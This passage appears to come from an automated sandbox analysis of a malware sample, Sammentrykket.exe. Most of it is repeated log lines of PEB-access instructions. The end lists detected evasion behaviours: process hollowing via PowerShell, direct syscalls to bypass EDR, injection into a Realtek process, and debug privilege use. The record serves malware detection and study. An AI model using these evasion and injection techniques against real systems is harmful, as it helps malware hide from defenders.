Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209CF0A5 mov eax, dword ptr fs:[00000030h] 4_2_209CF0A5
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2093B0D0 mov eax, dword ptr fs:[00000030h] 4_2_2093B0D0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091B0D6 mov eax, dword ptr fs:[00000030h] 4_2_2091B0D6
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091B0D6 mov eax, dword ptr fs:[00000030h] 4_2_2091B0D6
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091B0D6 mov eax, dword ptr fs:[00000030h] 4_2_2091B0D6
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091B0D6 mov eax, dword ptr fs:[00000030h] 4_2_2091B0D6
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2095D0F0 mov eax, dword ptr fs:[00000030h] 4_2_2095D0F0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2095D0F0 mov ecx, dword ptr fs:[00000030h] 4_2_2095D0F0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091C0F6 mov eax, dword ptr fs:[00000030h] 4_2_2091C0F6
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209190F8 mov eax, dword ptr fs:[00000030h] 4_2_209190F8
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209190F8 mov eax, dword ptr fs:[00000030h] 4_2_209190F8
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209190F8 mov eax, dword ptr fs:[00000030h] 4_2_209190F8
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209190F8 mov eax, dword ptr fs:[00000030h] 4_2_209190F8
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20945004 mov eax, dword ptr fs:[00000030h] 4_2_20945004
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20945004 mov ecx, dword ptr fs:[00000030h] 4_2_20945004
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20928009 mov eax, dword ptr fs:[00000030h] 4_2_20928009
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091D02D mov eax, dword ptr fs:[00000030h] 4_2_2091D02D
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20921051 mov eax, dword ptr fs:[00000030h] 4_2_20921051
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20921051 mov eax, dword ptr fs:[00000030h] 4_2_20921051
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F505B mov eax, dword ptr fs:[00000030h] 4_2_209F505B
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20950044 mov eax, dword ptr fs:[00000030h] 4_2_20950044
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20927072 mov eax, dword ptr fs:[00000030h] 4_2_20927072
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20926074 mov eax, dword ptr fs:[00000030h] 4_2_20926074
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20926074 mov eax, dword ptr fs:[00000030h] 4_2_20926074
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209C9060 mov eax, dword ptr fs:[00000030h] 4_2_209C9060
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20949194 mov eax, dword ptr fs:[00000030h] 4_2_20949194
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20961190 mov eax, dword ptr fs:[00000030h] 4_2_20961190
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20961190 mov eax, dword ptr fs:[00000030h] 4_2_20961190
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20924180 mov eax, dword ptr fs:[00000030h] 4_2_20924180
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20924180 mov eax, dword ptr fs:[00000030h] 4_2_20924180
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20924180 mov eax, dword ptr fs:[00000030h] 4_2_20924180
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F51B6 mov eax, dword ptr fs:[00000030h] 4_2_209F51B6
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209531BE mov eax, dword ptr fs:[00000030h] 4_2_209531BE
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209531BE mov eax, dword ptr fs:[00000030h] 4_2_209531BE
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209541BB mov ecx, dword ptr fs:[00000030h] 4_2_209541BB
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209541BB mov eax, dword ptr fs:[00000030h] 4_2_209541BB
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209541BB mov eax, dword ptr fs:[00000030h] 4_2_209541BB
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2095E1A4 mov eax, dword ptr fs:[00000030h] 4_2_2095E1A4
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2095E1A4 mov eax, dword ptr fs:[00000030h] 4_2_2095E1A4
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209301C0 mov eax, dword ptr fs:[00000030h] 4_2_209301C0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209301C0 mov eax, dword ptr fs:[00000030h] 4_2_209301C0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209351C0 mov eax, dword ptr fs:[00000030h] 4_2_209351C0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209351C0 mov eax, dword ptr fs:[00000030h] 4_2_209351C0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209351C0 mov eax, dword ptr fs:[00000030h] 4_2_209351C0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209351C0 mov eax, dword ptr fs:[00000030h] 4_2_209351C0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209191F0 mov eax, dword ptr fs:[00000030h] 4_2_209191F0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209191F0 mov eax, dword ptr fs:[00000030h] 4_2_209191F0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209301F1 mov eax, dword ptr fs:[00000030h] 4_2_209301F1
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209301F1 mov eax, dword ptr fs:[00000030h] 4_2_209301F1
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209301F1 mov eax, dword ptr fs:[00000030h] 4_2_209301F1
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094F1F0 mov eax, dword ptr fs:[00000030h] 4_2_2094F1F0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094F1F0 mov eax, dword ptr fs:[00000030h] 4_2_2094F1F0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209E81EE mov eax, dword ptr fs:[00000030h] 4_2_209E81EE
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209E81EE mov eax, dword ptr fs:[00000030h] 4_2_209E81EE
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2092A1E3 mov eax, dword ptr fs:[00000030h] 4_2_2092A1E3
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2092A1E3 mov eax, dword ptr fs:[00000030h] 4_2_2092A1E3
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2092A1E3 mov eax, dword ptr fs:[00000030h] 4_2_2092A1E3
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2092A1E3 mov eax, dword ptr fs:[00000030h] 4_2_2092A1E3
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2092A1E3 mov eax, dword ptr fs:[00000030h] 4_2_2092A1E3
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094B1E0 mov eax, dword ptr fs:[00000030h] 4_2_2094B1E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094B1E0 mov eax, dword ptr fs:[00000030h] 4_2_2094B1E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094B1E0 mov eax, dword ptr fs:[00000030h] 4_2_2094B1E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094B1E0 mov eax, dword ptr fs:[00000030h] 4_2_2094B1E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094B1E0 mov eax, dword ptr fs:[00000030h] 4_2_2094B1E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094B1E0 mov eax, dword ptr fs:[00000030h] 4_2_2094B1E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094B1E0 mov eax, dword ptr fs:[00000030h] 4_2_2094B1E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209291E5 mov eax, dword ptr fs:[00000030h] 4_2_209291E5
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209291E5 mov eax, dword ptr fs:[00000030h] 4_2_209291E5
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209181EB mov eax, dword ptr fs:[00000030h] 4_2_209181EB
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 mov eax, dword ptr fs:[00000030h] 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20950118 mov eax, dword ptr fs:[00000030h] 4_2_20950118
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094510F mov eax, dword ptr fs:[00000030h] 4_2_2094510F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094510F mov eax, dword ptr fs:[00000030h] 4_2_2094510F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094510F mov eax, dword ptr fs:[00000030h] 4_2_2094510F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094510F mov eax, dword ptr fs:[00000030h] 4_2_2094510F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094510F mov eax, dword ptr fs:[00000030h] 4_2_2094510F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094510F mov eax, dword ptr fs:[00000030h] 4_2_2094510F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094510F mov eax, dword ptr fs:[00000030h] 4_2_2094510F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094510F mov eax, dword ptr fs:[00000030h] 4_2_2094510F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094510F mov eax, dword ptr fs:[00000030h] 4_2_2094510F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094510F mov eax, dword ptr fs:[00000030h] 4_2_2094510F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094510F mov eax, dword ptr fs:[00000030h] 4_2_2094510F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094510F mov eax, dword ptr fs:[00000030h] 4_2_2094510F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094510F mov eax, dword ptr fs:[00000030h] 4_2_2094510F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2092510D mov eax, dword ptr fs:[00000030h] 4_2_2092510D
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209DF13E mov eax, dword ptr fs:[00000030h] 4_2_209DF13E
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20957128 mov eax, dword ptr fs:[00000030h] 4_2_20957128
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20957128 mov eax, dword ptr fs:[00000030h] 4_2_20957128
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F3157 mov eax, dword ptr fs:[00000030h] 4_2_209F3157
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F3157 mov eax, dword ptr fs:[00000030h] 4_2_209F3157
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F3157 mov eax, dword ptr fs:[00000030h] 4_2_209F3157
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2095415F mov eax, dword ptr fs:[00000030h] 4_2_2095415F
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209B314A mov eax, dword ptr fs:[00000030h] 4_2_209B314A
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209B314A mov eax, dword ptr fs:[00000030h] 4_2_209B314A
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209B314A mov eax, dword ptr fs:[00000030h] 4_2_209B314A
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209B314A mov eax, dword ptr fs:[00000030h] 4_2_209B314A
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F5149 mov eax, dword ptr fs:[00000030h] 4_2_209F5149
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091A147 mov eax, dword ptr fs:[00000030h] 4_2_2091A147
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091A147 mov eax, dword ptr fs:[00000030h] 4_2_2091A147
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091A147 mov eax, dword ptr fs:[00000030h] 4_2_2091A147
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20926179 mov eax, dword ptr fs:[00000030h] 4_2_20926179
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2097717A mov eax, dword ptr fs:[00000030h] 4_2_2097717A
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2097717A mov eax, dword ptr fs:[00000030h] 4_2_2097717A
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20927290 mov eax, dword ptr fs:[00000030h] 4_2_20927290
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20927290 mov eax, dword ptr fs:[00000030h] 4_2_20927290
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20927290 mov eax, dword ptr fs:[00000030h] 4_2_20927290
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2099E289 mov eax, dword ptr fs:[00000030h] 4_2_2099E289
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091C2B0 mov ecx, dword ptr fs:[00000030h] 4_2_2091C2B0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209FB2BC mov eax, dword ptr fs:[00000030h] 4_2_209FB2BC
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209FB2BC mov eax, dword ptr fs:[00000030h] 4_2_209FB2BC
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209FB2BC mov eax, dword ptr fs:[00000030h] 4_2_209FB2BC
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209FB2BC mov eax, dword ptr fs:[00000030h] 4_2_209FB2BC
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209DF2AE mov eax, dword ptr fs:[00000030h] 4_2_209DF2AE
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209E92AB mov eax, dword ptr fs:[00000030h] 4_2_209E92AB
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209442AF mov eax, dword ptr fs:[00000030h] 4_2_209442AF
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209442AF mov eax, dword ptr fs:[00000030h] 4_2_209442AF
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209192AF mov eax, dword ptr fs:[00000030h] 4_2_209192AF
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209432C5 mov eax, dword ptr fs:[00000030h] 4_2_209432C5
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209532C0 mov eax, dword ptr fs:[00000030h] 4_2_209532C0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209532C0 mov eax, dword ptr fs:[00000030h] 4_2_209532C0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F32C9 mov eax, dword ptr fs:[00000030h] 4_2_209F32C9
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209302F9 mov eax, dword ptr fs:[00000030h] 4_2_209302F9
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209302F9 mov eax, dword ptr fs:[00000030h] 4_2_209302F9
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209302F9 mov eax, dword ptr fs:[00000030h] 4_2_209302F9
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209302F9 mov eax, dword ptr fs:[00000030h] 4_2_209302F9
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209302F9 mov eax, dword ptr fs:[00000030h] 4_2_209302F9
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209302F9 mov eax, dword ptr fs:[00000030h] 4_2_209302F9
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209302F9 mov eax, dword ptr fs:[00000030h] 4_2_209302F9
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209302F9 mov eax, dword ptr fs:[00000030h] 4_2_209302F9
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209172E0 mov eax, dword ptr fs:[00000030h] 4_2_209172E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2092A2E0 mov eax, dword ptr fs:[00000030h] 4_2_2092A2E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2092A2E0 mov eax, dword ptr fs:[00000030h] 4_2_2092A2E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2092A2E0 mov eax, dword ptr fs:[00000030h] 4_2_2092A2E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2092A2E0 mov eax, dword ptr fs:[00000030h] 4_2_2092A2E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2092A2E0 mov eax, dword ptr fs:[00000030h] 4_2_2092A2E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2092A2E0 mov eax, dword ptr fs:[00000030h] 4_2_2092A2E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209282E0 mov eax, dword ptr fs:[00000030h] 4_2_209282E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209282E0 mov eax, dword ptr fs:[00000030h] 4_2_209282E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209282E0 mov eax, dword ptr fs:[00000030h] 4_2_209282E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209282E0 mov eax, dword ptr fs:[00000030h] 4_2_209282E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091D2EC mov eax, dword ptr fs:[00000030h] 4_2_2091D2EC
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091D2EC mov eax, dword ptr fs:[00000030h] 4_2_2091D2EC
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091821B mov eax, dword ptr fs:[00000030h] 4_2_2091821B
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209AB214 mov eax, dword ptr fs:[00000030h] 4_2_209AB214
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209AB214 mov eax, dword ptr fs:[00000030h] 4_2_209AB214
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091A200 mov eax, dword ptr fs:[00000030h] 4_2_2091A200
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20940230 mov ecx, dword ptr fs:[00000030h] 4_2_20940230
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe NtTerminateThread: Direct from: 0x7FF9B4322651 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write Jump to behavior
Sample uses process hollowing technique
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section unmapped: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe base address: 400000 Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe base: 1660000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe base: 19FFF4 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe "C:\Users\user\AppData\Local\Temp\Sammentrykket.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
